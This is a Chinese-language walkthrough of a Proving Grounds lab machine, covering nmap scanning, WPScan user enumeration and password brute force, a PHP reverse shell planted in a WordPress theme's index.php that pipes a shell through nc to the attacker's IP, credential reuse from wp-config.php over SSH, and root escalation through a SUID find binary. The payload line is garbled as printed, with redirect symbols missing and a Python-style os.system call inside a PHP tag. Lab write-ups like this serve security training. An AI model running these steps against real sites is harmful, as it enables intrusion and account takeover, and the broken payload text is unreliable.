前言此靶机来自Proving Grounds Play在本实验中你将对一个 WordPress 网站进行信息收集通过暴力破解获取用户凭据并利用 PHP 反向shell 获得初始访问权限。随后你将利用 SUID 二进制文件提升权限从而获得 root 权限。以下讲述攻击渗透过程靶机IP地址请忽略目标IP地址已做脱敏处理。注意本文仅探讨解题方法所述技术严禁用于任何非法网络行为枚举建议先使用nmap进行端口扫描当然您也可以选择其他熟悉的工具。请注意演示中的靶机IP地址仅供参考。sudo nmap -sT 192.168.*.* -p- --min-rate 10000获取存活端口后下一步自然是对这些端口进行全面扫描以获取服务版本、系统类型及操作系统等详细信息。sudo nmap -sV -A -O 192.168.*.* -p 80,4512 --min-rate 10000WEB 枚举根据nmap扫描结果显示靶机开放了两个服务80端口运行WordPress网站4512端口提供SSH服务。我们首先将重点放在80端口的Web服务上。WordPressWPScan访问WordPress首页后运行wpscan工具扫描网站检测是否存在过时的插件或暴露的用户名信息。wpscan --url http://192.168.*.*/ -eu --api-tokenyuoCt******************************从扫描结果中发现了三个用户philip、c0ldd、hugo。接下来使用wpscan对这三个账号进行密码爆破尝试下能不能得到其中一个用户的密码。将三个用户名放至username.txt文件密码字典使用rockyou.txt。wpscan --url http://192.168.*.*/ -U ./play/username.txt -P ./rockyou.txt等在一段时间成功得到c0ldd的账密。RCE通过此账密登录到wordpress后台管理界面然后在Themes中编辑index.php将payload注入到页面中。?php os.system(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 21|nc 192.168.*.* 80 /tmp/f); ?在本地开启监听端口访问站点主页准备接收shell。提权根据经验wp-config.php文件中可能会存有数据库的用户名及密码。查看这个文件果然发现了一组账密。c0ldd:cy!*********虽然得到的是数据库的账密但是尝试下SSH登录是否能成功。不出所料此用户使用相同的密码在SSH上现在就拿到了c0ldd用户的权限了。接下来我们要拿到root权限。再各种排查后发现了find命令存在SUID权限。可以通过此问题进行提权。find / -perm -us -type f 2/dev/null那么接下来就可以提权到root了find . -exec /bin/sh -p \; -quit成功提权至root。如有问题或建议欢迎私信进行技术讨论哦